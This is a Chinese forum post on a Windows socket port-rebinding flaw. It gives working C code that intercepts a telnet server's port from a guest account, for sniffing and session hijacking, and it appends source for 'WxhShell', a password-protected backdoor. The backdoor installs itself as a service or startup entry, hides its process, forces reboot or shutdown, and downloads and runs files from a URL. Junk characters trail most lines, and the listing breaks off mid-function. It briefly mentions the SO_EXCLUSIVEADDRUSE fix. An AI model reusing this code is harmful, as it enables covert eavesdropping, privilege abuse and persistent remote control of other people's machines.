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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: A7Po 3n%Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -NJ!g/ >mM  
7[pBUDA  
  saddr.sin_family = AF_INET; neZ.`"LV  
u]*0;-tz  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i)a%!1Ar  
u=x+ J=AH  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d+eZub94U  
L gk   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 XvTCK>1  
88s/Q0l  
  这意味着什么?意味着可以进行如下的攻击: ~`ny @WD9  
};L ^w :  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^h' Sla  
I:cg}JZ>|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i1lBto[  
S$,'Q^~K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u\yVR$pQ  
W~1~k{A  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .B2]xfo"`  
^x>Qf(b  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z @ dC+0[=  
, t5 '  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hVUh0XeO  
,f3pqi9|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j$7|XM6  
v=@TWEE  
  #include V~G`kkNy  
  #include hj%ye~|~  
  #include 9;.(u'y|  
  #include    D\dWt1n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /AY4M;}p  
  int main() F,BOgWwP  
  { 'xY@x-o  
  WORD wVersionRequested; !E8X~DJ  
  DWORD ret; Yb3mP!3q8Z  
  WSADATA wsaData; GzXUU@p  
  BOOL val; N["W I r  
  SOCKADDR_IN saddr; nAIo{ F  
  SOCKADDR_IN scaddr; s#~GH6/  
  int err; YHkcWz  
  SOCKET s; E>'a,!QPv  
  SOCKET sc; JF&$t}  
  int caddsize; 9I27TKy  
  HANDLE mt; sV"UI  
  DWORD tid;   Q_-_^J  
  wVersionRequested = MAKEWORD( 2, 2 ); _|[UI.a  
  err = WSAStartup( wVersionRequested, &wsaData ); ^hNgm.I  
  if ( err != 0 ) { ajR%c2G;  
  printf("error!WSAStartup failed!\n"); IJYL s  
  return -1; J]l rS  
  } nRL. ppUI  
  saddr.sin_family = AF_INET; x+ncc_2n&D  
   M5nWVK7c  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )c n+1R  
(wIzat  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N'r3`8tS  
  saddr.sin_port = htons(23); >(uZtYM\j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y&}E~5O  
  { JWvjWY2+P  
  printf("error!socket failed!\n"); x3jb%`o#!  
  return -1; ]H-S, lmV  
  } %~L>1ShtU  
  val = TRUE; gb ^?l~SS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $3`>{3x$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;<yd^Xs  
  { {~!q`Dr3?q  
  printf("error!setsockopt failed!\n"); @1.QEyXG  
  return -1; ?0? R  
  } .+7;)K   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7S/G B  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 NH$r Z7$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +zXEYc  
]8q3>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pyLRgD0 g  
  { d \x7Zw>  
  ret=GetLastError(); 'WaPrCw@Mf  
  printf("error!bind failed!\n"); 7K)6^r^  
  return -1; Ee4&g<X.  
  } ?]D"k4  
  listen(s,2); i1H\#;`$  
  while(1) zi`b2h  
  { yFDv6yJ.  
  caddsize = sizeof(scaddr); m_?d=o  
  //接受连接请求 MZ Aij  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); z<H~ItX,n  
  if(sc!=INVALID_SOCKET) HGm 3+,  
  { U2uF&6v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }*.0N;;C  
  if(mt==NULL) *K> l*l(f]  
  { xX*H7#  
  printf("Thread Creat Failed!\n"); x77l~=P+!  
  break; >2bKSh  
  } PV|uPuz  
  } [2"<W! p  
  CloseHandle(mt); G}&Sle]  
  } X[f=h=|  
  closesocket(s); \j&^aAp r  
  WSACleanup(); !r# ?C9Sq  
  return 0; J7r|atSk  
  }   FQ g~l4WX  
  DWORD WINAPI ClientThread(LPVOID lpParam) (aD_zG=k5  
  { >3z5ww  
  SOCKET ss = (SOCKET)lpParam; B}PIRk@a1  
  SOCKET sc; 8\{^|y9-  
  unsigned char buf[4096]; '1M7M(va  
  SOCKADDR_IN saddr; 0eK*9S]  
  long num; W5SJ^,d)J  
  DWORD val; |V<h=D5W  
  DWORD ret; 035rPT7-2-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <.Nx[!'~&d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G:zua`u[  
  saddr.sin_family = AF_INET; H54 R8O$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &|/| ''A)  
  saddr.sin_port = htons(23); 0GJn_@hr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [Q=dC X9%  
  { 'fW6 .0fXa  
  printf("error!socket failed!\n"); FQ=@mjh  
  return -1; zN  [2YJ$  
  } eImn+_ N3  
  val = 100; 0v9rv.Y"  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Iu$K i  
  { lP<:tR~K  
  ret = GetLastError(); '` pDngX  
  return -1; G "73=8d  
  } ~%YBI9$+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *zr(Zv  
  { 6`f2-f9%iq  
  ret = GetLastError(); ">#wOm+ +  
  return -1; ,yd?gP-O  
  } E9~Ghx.   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 33!oS&L  
  { ;3' .C~   
  printf("error!socket connect failed!\n"); 8MSC.0   
  closesocket(sc);  trAkcYd  
  closesocket(ss); F&&$Qn_+  
  return -1; br|;'i%(  
  } By%=W5  
  while(1) wXsmn1w9  
  { ~R(%D-k  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 LqA@&H  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 eut-U/3:#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 l5"OIq  
  num = recv(ss,buf,4096,0); ,T2G~^0  
  if(num>0) -;'1^  
  send(sc,buf,num,0); R) c'#St  
  else if(num==0) 3D2E?$dX  
  break; U~pV)J  
  num = recv(sc,buf,4096,0); P>Ez'C  
  if(num>0) )kP5u`v  
  send(ss,buf,num,0); '_V2!?+RU+  
  else if(num==0) ayiu,DXx  
  break; KN*  
  } %"P,1&\^  
  closesocket(ss); |o\8  
  closesocket(sc); 1PpyVf  
  return 0 ; x@*SEa  
  } Rj4|Q:XG  
}2e? ?3  
Z4lO?S5%J  
========================================================== rYbpih=x  
vMS |$L  
下边附上一个代码,,WXhSHELL 6Udov pl  
q}]XYys  
========================================================== <N%7|t*eT  
~m$Y$,uH  
#include "stdafx.h" sD=n95`v  
RRI"d~~F6  
#include <stdio.h> v#!%GEg1r  
#include <string.h> :3I@(k\PY  
#include <windows.h> $f zaPD4.  
#include <winsock2.h> THS.GvT9[  
#include <winsvc.h> `|/<\  
#include <urlmon.h> MgY0q?.S=  
Y 1t\iU  
#pragma comment (lib, "Ws2_32.lib") 7:2WgL o  
#pragma comment (lib, "urlmon.lib") i(NdGL#P  
fP. 6HF_p_  
#define MAX_USER   100 // 最大客户端连接数 zR{W?_cV  
#define BUF_SOCK   200 // sock buffer xLC3>>P  
#define KEY_BUFF   255 // 输入 buffer aP/T<QZ~  
*#C+iAF|)'  
#define REBOOT     0   // 重启 fc |GArL#}  
#define SHUTDOWN   1   // 关机 0`[wpZ  
eY|  
#define DEF_PORT   5000 // 监听端口 z[3L2U~6  
+w+} b^4  
#define REG_LEN     16   // 注册表键长度 z& fwE$Nm  
#define SVC_LEN     80   // NT服务名长度 LRNh@g4ei  
CL+}| 7O(  
// 从dll定义API 8]U{;|';  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6,0_)O}\b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u)~C;f)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \Z+z?K O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o !vE~  
'7i Sp=  
// wxhshell配置信息 50o~ P!Lz|  
struct WSCFG { dF2nEaN0%  
  int ws_port;         // 监听端口 U15H@h  
  char ws_passstr[REG_LEN]; // 口令 Yo|,]X>/  
  int ws_autoins;       // 安装标记, 1=yes 0=no `pGa~!vl  
  char ws_regname[REG_LEN]; // 注册表键名 \Ol kM<  
  char ws_svcname[REG_LEN]; // 服务名 _t Yx~J2.Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 BS:+~|3w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7eV di*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;e1ku|>$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M)2VcDy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" opc/e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~NpA".PB  
[O?z@)dx  
}; 5nKj )RH7M  
xo&]$W8  
// default Wxhshell configuration $7rq3y  
struct WSCFG wscfg={DEF_PORT, z}*9uZ  
    "xuhuanlingzhe", -De9_0#R  
    1, -i%e!DgH  
    "Wxhshell", _N{RVeO  
    "Wxhshell", @n{JM7ctJ  
            "WxhShell Service", [E/\#4b  
    "Wrsky Windows CmdShell Service", '*"vkgN  
    "Please Input Your Password: ", ~wkj&yVT  
  1, *1fb}C_  
  "http://www.wrsky.com/wxhshell.exe", % a@>_  
  "Wxhshell.exe" w%JTTru  
    }; e,Uo#T6J  
pUV/ Ul]  
// 消息定义模块 4*Hgv:0?kI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0 g?z&?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; '|Kmq5)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =AEBeiz  
char *msg_ws_ext="\n\rExit."; pQtJc*[!  
char *msg_ws_end="\n\rQuit."; wfq7ob4^  
char *msg_ws_boot="\n\rReboot..."; /#m=*&!CB  
char *msg_ws_poff="\n\rShutdown..."; &L,nqc\3D5  
char *msg_ws_down="\n\rSave to "; O8j_0  
)'6DNa[y  
char *msg_ws_err="\n\rErr!"; t+1 %RyKFB  
char *msg_ws_ok="\n\rOK!"; TjwBv6h  
^$'z!+QRM  
char ExeFile[MAX_PATH]; p IU&^yX>  
int nUser = 0; .ZJRO>S  
HANDLE handles[MAX_USER]; k[:bQ)H  
int OsIsNt; +h r@#n4A  
no9;<]4  
SERVICE_STATUS       serviceStatus; WRrd'{sB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xT+zU}z  
B#.L  
// 函数声明 b"#WxgaF  
int Install(void); Y}#J4i0b*  
int Uninstall(void); A*}.EClH  
int DownloadFile(char *sURL, SOCKET wsh); `CgaS#  
int Boot(int flag); P dhEQ}H  
void HideProc(void); n8".XS  
int GetOsVer(void); >VN5`Zlw\C  
int Wxhshell(SOCKET wsl); '>' wK.  
void TalkWithClient(void *cs); '<ZlGFt'n  
int CmdShell(SOCKET sock); 'gPzm|f|t@  
int StartFromService(void); iX2]VRNxl  
int StartWxhshell(LPSTR lpCmdLine); 'i4_`^:+  
@jsDq Ln  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4:dH]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); + EGD.S{  
o .qf _A  
// 数据结构和表定义 %0,#ADCqOe  
SERVICE_TABLE_ENTRY DispatchTable[] = R}4So1  
{ 2IKnhBSV3  
{wscfg.ws_svcname, NTServiceMain}, A.EbXo/  
{NULL, NULL} TiO"xMX  
}; jN6uT &{T  
~==>pj  
// 自我安装 FMClSeO7  
int Install(void) p4-o/8rO  
{ y6[IfcN  
  char svExeFile[MAX_PATH]; |>tKq;/  
  HKEY key; YYu6W@m]  
  strcpy(svExeFile,ExeFile); v,4pp@8rv  
3 %|86:*  
// 如果是win9x系统,修改注册表设为自启动 G}:lzOlMH  
if(!OsIsNt) { m6[0Kws&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Od %"B\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O0pDd4)"  
  RegCloseKey(key); 49dd5ddr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qx4I_%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IbP#_Vt  
  RegCloseKey(key); sU@nc!&Y@  
  return 0; Ux}(?Z  
    } Bhp-jq'!B  
  } f,:9N5Z  
} Ire\i7MF:  
else { Z3& _  
>V*mr{/1  
// 如果是NT以上系统,安装为系统服务 l33Pm/V2?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O^^C;U@U<1  
if (schSCManager!=0) hnc@  
{ -2A(5B9Fq  
  SC_HANDLE schService = CreateService _;UE9S%  
  ( \3S8 62B7  
  schSCManager, !`M|C?b  
  wscfg.ws_svcname, ` M3w]qJ<}  
  wscfg.ws_svcdisp, zN:K%AiGxe  
  SERVICE_ALL_ACCESS, f^"N!f a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aW`Lec{.  
  SERVICE_AUTO_START, c;n *AK  
  SERVICE_ERROR_NORMAL, '-"/ =j&d[  
  svExeFile, j"'(sW-  
  NULL, 6Qy@UfB  
  NULL, !=:$lzS^  
  NULL, UmclTGn  
  NULL, +i2}/s@JJ  
  NULL @>)r}b  
  ); ^]a#7/]o  
  if (schService!=0) P:aJ#  
  { .sj^{kGE  
  CloseServiceHandle(schService); d BJJZ^(  
  CloseServiceHandle(schSCManager); zOa_X~!@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V*iH}Y?^p  
  strcat(svExeFile,wscfg.ws_svcname); nY`RR C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2VJR$Pao  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Hr]h J c  
  RegCloseKey(key); nw<&3k(g}  
  return 0; y10h#&k  
    } ~ y;6W0x  
  } 26k LhFS  
  CloseServiceHandle(schSCManager); 52,m:EhL  
} 0 SNIYkGE  
} (C@~3!AVa  
,]cD  
return 1; Jh?dw3Ai^  
} j(k: @  
66I"=:  
// 自我卸载 [.S#rGYk  
int Uninstall(void) S4h:|jLUF  
{ *?Kr*]dnLl  
  HKEY key; ;F~LqC$  
K/3)g9Z&io  
if(!OsIsNt) { 3T}izG]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ],J EBt  
  RegDeleteValue(key,wscfg.ws_regname);  XoCC/  
  RegCloseKey(key); /i-J&*6_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,;Hu=;  
  RegDeleteValue(key,wscfg.ws_regname); t7?Zxq  
  RegCloseKey(key); a8i]]1Blz  
  return 0; *EZHJt9  
  } y?a Acn$  
} n>^Y$yy}!  
} -:Ia^{YN  
else { kLn i{IYN7  
]jaQ[g$F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S!G(a"<W  
if (schSCManager!=0) ]):<ZsT  
{ YJ;j x0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (jFGa2{  
  if (schService!=0) jlBanGs?  
  { ~YRDyQ:%T  
  if(DeleteService(schService)!=0) { lq>+~zX{  
  CloseServiceHandle(schService); Rx);7j/5  
  CloseServiceHandle(schSCManager); -"h;uDz|z  
  return 0; L.2/*H#  
  } 4)"n RjGg  
  CloseServiceHandle(schService); %d>=+Ds[  
  } 2cqI[t@0  
  CloseServiceHandle(schSCManager); ALNc'MW!  
} M5*{  
} 6C]1Q.f;  
Nv/v$Z{k  
return 1; NyVnA  
} D!.+Y-+Xzu  
-x'z XvWZ  
// 从指定url下载文件 q*7zx_ o  
int DownloadFile(char *sURL, SOCKET wsh) rSHpS`\ou  
{ (A?H1 9  
  HRESULT hr; |kvC H<F'  
char seps[]= "/"; 4 &_NJ\  
char *token; 8}FzZ?DRy  
char *file; LwK+:4$  
char myURL[MAX_PATH]; (q4),y<:[  
char myFILE[MAX_PATH]; &%s8L\?  
'{J&M|<A  
strcpy(myURL,sURL); <YOLxR  
  token=strtok(myURL,seps); v|Yh w  
  while(token!=NULL) &g.+V/<[  
  { L. EiO({W  
    file=token; VA9Gb 9  
  token=strtok(NULL,seps); %_(H{y_!  
  } m^H21P"z  
GHsilba  
GetCurrentDirectory(MAX_PATH,myFILE); n[]tXrhU  
strcat(myFILE, "\\"); ) :\xHR4  
strcat(myFILE, file); Q"t<3-"  
  send(wsh,myFILE,strlen(myFILE),0); u6MzRC  
send(wsh,"...",3,0); X83 w@-$}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UQ+?\wi*  
  if(hr==S_OK) VH(S=G5Yb  
return 0; T[sDVkCbxf  
else :k3Nt5t!  
return 1; *_KFW@bC:  
qWx][D"  
} (vB<%l.&  
@E-\ J7 yh  
// 系统电源模块 m^#rB`0;L  
int Boot(int flag) d ,Y#H0`  
{ Q^q1 ns;r  
  HANDLE hToken; 7yx$N n`(  
  TOKEN_PRIVILEGES tkp; H.W E6  
2 OwV^-OG  
  if(OsIsNt) { A5H3%o(6k  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g"L|n7_b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hTEx]# (  
    tkp.PrivilegeCount = 1; UH"#2< |b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -CR?<A4mud  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /MF! GM  
if(flag==REBOOT) { hTM[8 ~<^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~O]]N;>72"  
  return 0; !Mu|mz=  
} v9D22,K-  
else { s-RQMK}H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~j#]tElb  
  return 0; :T._ba3|  
} q-rB2  
  } %rF?dvb;?  
  else { {XW Z<OjG  
if(flag==REBOOT) { k~/>b~ .c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) RiTa \  
  return 0; t(+) #  
} Ik[s  
else { E%'~'[Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qBQ`~4s  
  return 0; XgxX.`H7  
} 4_UU<GEp  
} `D":Q=:  
|8.(XsN  
return 1; $F/EJ>  
} [tH-D$V  
A 5+rd{k/  
// win9x进程隐藏模块 JGFt0He]  
void HideProc(void) =fYL}m5E  
{ PT^c^{V  
AxZD-|.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); < n:}kQTT  
  if ( hKernel != NULL ) Zo}y(N1K}  
  { rx5B=M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xy<`#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 90# ;?#  
    FreeLibrary(hKernel); I"t(%2*q  
  } #9m$ N  
3G meD/6  
return; % ',F  
} qA:#iJ8w  
)$&dg2[  
// 获取操作系统版本 if)Y9:{r^  
int GetOsVer(void) k`{@pt.  
{ yCXrVN:`,  
  OSVERSIONINFO winfo; O$g_@B0E1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6AP~]e 8  
  GetVersionEx(&winfo); ?6k}ii!c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %"X-&1vV  
  return 1; t'~/$=9}  
  else Lqp8yVO  
  return 0; S#b-awk  
} QnI.zq V  
>?]_<:  
// 客户端句柄模块 `Bw9O%]-S  
int Wxhshell(SOCKET wsl) enTW0U}  
{ 5PIZh<  
  SOCKET wsh; ]u-02g  
  struct sockaddr_in client; z**hD2R!  
  DWORD myID; oR~e#<$;  
97,rE$bC  
  while(nUser<MAX_USER) 20TCG0% x  
{ bpkwn<7-  
  int nSize=sizeof(client); ]=EM@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Nk;iiz+_p  
  if(wsh==INVALID_SOCKET) return 1; t UR c bwV  
Fa epDjY8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m3 ^/: <  
if(handles[nUser]==0) {3Y )rY!z  
  closesocket(wsh); ]}mxY vu_i  
else GI7=x h  
  nUser++; '>k{tPi.  
  } Dw2Q 'E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \@~UDP]7  
(5 <^p&  
  return 0; ==H$zmK  
} ZCVl5R(mZ  
#u5~0,F  
// 关闭 socket a1.|X i'/z  
void CloseIt(SOCKET wsh) 8CC/BOe  
{ ,SScf98,j  
closesocket(wsh); u=&Bmn_  
nUser--; -z:&*=  
ExitThread(0); Kv{8iAB#c  
} 9]>iSG^H  
D\~e&0*  
// 客户端请求句柄 _ OaRY]  
void TalkWithClient(void *cs) }#v{`Sn%^C  
{ ,&YTj>  
gr-x |wK  
  SOCKET wsh=(SOCKET)cs;  y\F=ui  
  char pwd[SVC_LEN]; =6=_/q2  
  char cmd[KEY_BUFF]; %5  
char chr[1]; <8 #ObdY!  
int i,j; r,N[)@  
nW+YOX|+  
  while (nUser < MAX_USER) { a45 ss7  
^# A.@  
if(wscfg.ws_passstr) { ~/IexQB&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y& ] 8 {  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n^hocGH*  
  //ZeroMemory(pwd,KEY_BUFF); {^Pq\h;  
      i=0; x3e]d$  
  while(i<SVC_LEN) { =/+#PVO  
X['2b78k  
  // 设置超时 nN3$\gHp8i  
  fd_set FdRead; \Xt) E[  
  struct timeval TimeOut; Ze!92g  
  FD_ZERO(&FdRead); ~~8rI[/  
  FD_SET(wsh,&FdRead); ,}C8;/V  
  TimeOut.tv_sec=8; }4nT.!5  
  TimeOut.tv_usec=0; A%vsno!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AaN"7.Z/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ae?e 70bY  
PK&2h,Cu+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0m+8P$)C%  
  pwd=chr[0]; 4Z)DDz-}V  
  if(chr[0]==0xd || chr[0]==0xa) { QfQ\a%cc  
  pwd=0; ACjf\4Q  
  break; GIv){[i  
  } K` nJVc  
  i++; nSY-?&l6P  
    } ~ E=\t9r  
kA7(CqUW  
  // 如果是非法用户,关闭 socket (tl}q3U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {6xPdUhw  
} 0]x;n+G[q  
s6=YV0w(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LQ-6vrbs  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j1$<]f  
WA LGIW  
while(1) { =V|Nn0E  
?z"KnR+?Q  
  ZeroMemory(cmd,KEY_BUFF); `<j_[(5yb  
1.R kIB  
      // 自动支持客户端 telnet标准   X^< >6|)  
  j=0; GJ}.\EaAJ  
  while(j<KEY_BUFF) { w}M3x^9@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^C9x.4I$)  
  cmd[j]=chr[0]; G5{Ot>;*%  
  if(chr[0]==0xa || chr[0]==0xd) { [BBpQN.^q6  
  cmd[j]=0; (3md:r<-  
  break; P 4;{jG  
  } &.*uc|{  
  j++; B50 [O!  
    } 7CrpUh  
o@d y:AR  
  // 下载文件 5a(<%Q <"  
  if(strstr(cmd,"http://")) { 74zSP/G'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,w&:_n  
  if(DownloadFile(cmd,wsh)) 7nz!0I^   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hXX1<~k  
  else <4zT;:NQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >IR$e=5$  
  } Q @2(aR  
  else { *=vlqpG  
JCQ:+eqt  
    switch(cmd[0]) { -NDi5i\  
  $o^e:Y , a  
  // 帮助 lEfBe)7+  
  case '?': { i=8UBryr'e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -3mgza  
    break; rR!U;  
  } r]t )x*  
  // 安装 F^'v{@C  
  case 'i': { s#lto0b"8  
    if(Install()) F14(;'Az  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )!C7bTv 4  
    else <*Y O~S(R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w4{y "A  
    break; k,X74D+  
    } aqfL0Rg+`  
  // 卸载 /S/aUvN  
  case 'r': { [A_r1g&_  
    if(Uninstall()) oP]L5S&A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ogeRYq,g  
    else S+FQa7k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G&o64W;-s  
    break; z{6 YC~  
    } 2cjEex:&  
  // 显示 wxhshell 所在路径 Dq`~XS*  
  case 'p': { l#6&WWmr  
    char svExeFile[MAX_PATH]; -SJSTO[/J  
    strcpy(svExeFile,"\n\r"); l^,qO3ES  
      strcat(svExeFile,ExeFile); a RKv+{K  
        send(wsh,svExeFile,strlen(svExeFile),0); k ]bPI$  
    break; ? : md  
    } 6_U |(f  
  // 重启 n{=7 yK  
  case 'b': { 2 `5=0E1k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n4>cERf a  
    if(Boot(REBOOT)) gUGOHd(A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S'?fJ.  
    else { NQ!<f\m4n  
    closesocket(wsh); J"bD\%  
    ExitThread(0); ;\s~%~ \  
    } ou;qO 5CT  
    break; 6z1\a  
    } DVzssP g  
  // 关机 [tm[,VfA^  
  case 'd': { 0IFlEe[>#  
